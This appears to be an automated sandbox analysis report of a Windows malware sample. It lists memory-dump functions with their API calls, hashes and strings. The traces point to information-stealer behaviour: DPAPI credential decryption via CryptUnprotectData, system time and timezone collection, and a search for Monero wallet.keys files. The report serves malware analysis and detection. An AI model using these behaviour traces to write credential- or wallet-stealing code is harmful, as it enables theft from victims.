Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 5bd8f33a1910718458b61c03af399150a3b8a3f69c7f3b6bd05a8a56387c83e2
Instruction ID: 0d8631580d79214f528ce65f7c6fb3cdf85fc28f29e9045bcb97bc69044c002e
Opcode Fuzzy Hash: 5bd8f33a1910718458b61c03af399150a3b8a3f69c7f3b6bd05a8a56387c83e2
Instruction Fuzzy Hash: 17112A74210208FFDB40CF64D885FBB33A9AF89714F109848FA198B250DB75EC41DBA0

Function 009E9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,009E4EEE,00000000,00000000), ref: 009E9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,009E4EEE,00000000,?), ref: 009E9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,009E4EEE,00000000,00000000), ref: 009E9B2A
LocalFree.KERNEL32(?,?,?,?,009E4EEE,00000000,?), ref: 009E9B3F

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 4a59705ba9cad7263162e16c916f793eea1619ce4127912961646213cb7404d5
Instruction ID: 3f63c88da2fd1e29988bc39a60c8605872a3323aa1d9b4e6a1ba5d9bc9905533
Opcode Fuzzy Hash: 4a59705ba9cad7263162e16c916f793eea1619ce4127912961646213cb7404d5
Instruction Fuzzy Hash: 7811A2B4240208BFEB10CF64DC95FAA77B9FB89700F208058FA159B3D0C7B6A941CB90

Function 009F7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00A00E00,00000000,?), ref: 009F79B0
RtlAllocateHeap.NTDLL(00000000), ref: 009F79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00A00E00,00000000,?), ref: 009F79C4
wsprintfA.USER32 ref: 009F79F3

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 195ff4d5baea6eb599b25f54cbcdd4242a1b71a9d7d2fbffb243e269378a3d15
Instruction ID: 26ce1d125b7e5685c4d2f2c6463d706e454385cf9a67de82806703cf58458ebe
Opcode Fuzzy Hash: 195ff4d5baea6eb599b25f54cbcdd4242a1b71a9d7d2fbffb243e269378a3d15
Instruction Fuzzy Hash: 861127B2914118ABCB24DFCADD45BBEB7F8FB4CB11F10421AF605A2680E7795941CBB1

Function 009F7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,013BDFB0,00000000,?,00A00E10,00000000,?,00000000,00000000), ref: 009F7A63
RtlAllocateHeap.NTDLL(00000000), ref: 009F7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,013BDFB0,00000000,?,00A00E10,00000000,?,00000000,00000000,?), ref: 009F7A7D
wsprintfA.USER32 ref: 009F7AB7

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 3972808bbea630eec38f0be94965f5f8a8b05670edfcaafc4d61fb002b7a87db
Instruction ID: 0e4c841ec968b3dc5b48df46ae669487bc93e9a0f4ffa004ab0434f55c0a5d9a
Opcode Fuzzy Hash: 3972808bbea630eec38f0be94965f5f8a8b05670edfcaafc4d61fb002b7a87db
Instruction Fuzzy Hash: C8118EB1A45218EBEB208F94DC49FA9B778FB04721F10479AFA0A932C0D7745A41CF51

Function 00DB0104 Relevance: 5.4, Strings: 3, Instructions: 1662COMMON

Download Yara Rule

Strings

2?/, xrefs: 00DB06C9
\j[d, xrefs: 00DB03DA
^:, xrefs: 00DB0F5F

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2?/$\j[d$^:
API String ID: 0-195109781
Opcode ID: 078045ba41da9d7e4ab749d091dea316750743484ec884100e214b72e271ee73
Instruction ID: eeffb436fed73f37a716e5f3280de3bb9ee6503ac23cd502dd73626efb8bb71c
Opcode Fuzzy Hash: 078045ba41da9d7e4ab749d091dea316750743484ec884100e214b72e271ee73
Instruction Fuzzy Hash: 0EB217B360C2049FE7046E29EC8567AFBE9EFD4720F1A853DE6C5C3740EA3598058697

Function 00DACA21 Relevance: 5.4, Strings: 3, Instructions: 1660COMMON

Download Yara Rule

Strings

>pn, xrefs: 00DAD066
CsSo, xrefs: 00DACF23
CsSo, xrefs: 00DACEAF

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >pn$CsSo$CsSo
API String ID: 0-315857674
Opcode ID: 44559a53d6008c7fc4ded1b961b44d94f846f1375cacd6675439875850d7f144
Instruction ID: 28ccd021e109175ab7116eeee35d9c86b5bb4d92c6e40718674a0d95f5ce83f2
Opcode Fuzzy Hash: 44559a53d6008c7fc4ded1b961b44d94f846f1375cacd6675439875850d7f144
Instruction Fuzzy Hash: 39B2F7F3A0C2049FE3046E2DEC8567AFBE9EB94720F1A463DEAC4C7744E93558058697

Function 00DB6DD4 Relevance: 5.1, Strings: 3, Instructions: 1397COMMON

Download Yara Rule

Strings

$ =w, xrefs: 00DB74AF
Q:i, xrefs: 00DB721B
&wmn, xrefs: 00DB779A

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $ =w$&wmn$Q:i
API String ID: 0-1203201082
Opcode ID: b771be9bc6d854b68dc6958bde1e2194a5254e64776c14f35cd8b613a72bf3d4
Instruction ID: dbdfcb57cdb8012af770f0bce9aaa6fb5fbc35123adbb029cca4a977c131f6aa
Opcode Fuzzy Hash: b771be9bc6d854b68dc6958bde1e2194a5254e64776c14f35cd8b613a72bf3d4
Instruction Fuzzy Hash: CB92F5F3A0C2009FE304AE2DEC8567ABBE5EF94720F16493DEAC5C7344EA3558158697

Function 009F3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(009FE118,00000000,00000001,009FE108,00000000), ref: 009F3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 009F37B0

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 4d3b20dd372a7040ccd8f52c6f16971dd5487d19e50ab86b61b6902c4533c284
Instruction ID: 8b8b78e7035ef9dfeeeae86817322f66bb9eb20e2cd44263a5489651e16fea3a
Opcode Fuzzy Hash: 4d3b20dd372a7040ccd8f52c6f16971dd5487d19e50ab86b61b6902c4533c284
Instruction Fuzzy Hash: 1141D970A40A2C9FDB24DB58CC95BABB7B5BB48702F4081D8E609E72D0D7756E85CF50

Function 009E9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 009E9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 009E9BA3
LocalFree.KERNEL32(?), ref: 009E9BD3

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: eb81ee018472174795faba2bb4579ce4613df5be94a77272241b2b0355028729
Instruction ID: d3921db6c3dc035597bd6cabc3546800177101f575687fa74cd0223d4c3c8cbc
Opcode Fuzzy Hash: eb81ee018472174795faba2bb4579ce4613df5be94a77272241b2b0355028729
Instruction Fuzzy Hash: F411CCB4A00209DFDB05DF94D985BAE77B9FF88300F104568E91597390D774AE51CF61

Function 00DBF1EB Relevance: 4.1, Strings: 2, Instructions: 1561COMMON

Download Yara Rule

Strings

yF?N, xrefs: 00DC01AC
W<{X, xrefs: 00DBF936

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: W<{X$yF?N
API String ID: 0-3006374243
Opcode ID: f4d52f58a131d172ccfc2226181695fdc55a6f01df527f649d4b799e5e767820
Instruction ID: 8f1d611674c7c8bf6acc47b3cb541b5e659c56bcd51d72519785f0297539bb2b
Opcode Fuzzy Hash: f4d52f58a131d172ccfc2226181695fdc55a6f01df527f649d4b799e5e767820
Instruction Fuzzy Hash: FCB2F4F390C2109FE3086E2DEC8567ABBE9EF94320F16492DEAC587744EA3558058797

Function 00DB8904 Relevance: 3.8, Strings: 2, Instructions: 1334COMMON

Download Yara Rule

Strings

v:?, xrefs: 00DB8D7D
TI3n, xrefs: 00DB8B3B

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: TI3n$v:?
API String ID: 0-3113827137
Opcode ID: e9b5210095d41e2ad02b18ae2052997a9d9cff1e7a38e10be2af33d97787887d
Instruction ID: fd65d05678c2fba90321c98aa52e536eb3433c75ba97e3a94ff9e8807012a4bd
Opcode Fuzzy Hash: e9b5210095d41e2ad02b18ae2052997a9d9cff1e7a38e10be2af33d97787887d
Instruction Fuzzy Hash: 6C9207F3A0C2049FE304AE2DEC8567AB7E6EF94720F1A463DEAC5C7744E63558058792

Function 009EF68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A015B8,00A00D96), ref: 009EF71E
StrCmpCA.SHLWAPI(?,00A015BC), ref: 009EF76F
StrCmpCA.SHLWAPI(?,00A015C0), ref: 009EF785
FindNextFileA.KERNEL32(000000FF,?), ref: 009EFAB1
FindClose.KERNEL32(000000FF), ref: 009EFAC3

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: c9fc8eafc4dc32af92a692200c9e31988f778257582d7775ca414fe53d44e41e
Instruction ID: 5f4c2cf392590dbb0aabfbc9590847954f83af5dfbb978afad58db9d9b756058
Opcode Fuzzy Hash: c9fc8eafc4dc32af92a692200c9e31988f778257582d7775ca414fe53d44e41e
Instruction Fuzzy Hash: A1119AB180014DABDB14FB70DC55BFD7378AF50340F5086A5A61E57492EF702B4AC792

Function 00D35B66 Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

ay, xrefs: 00D35CE5

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
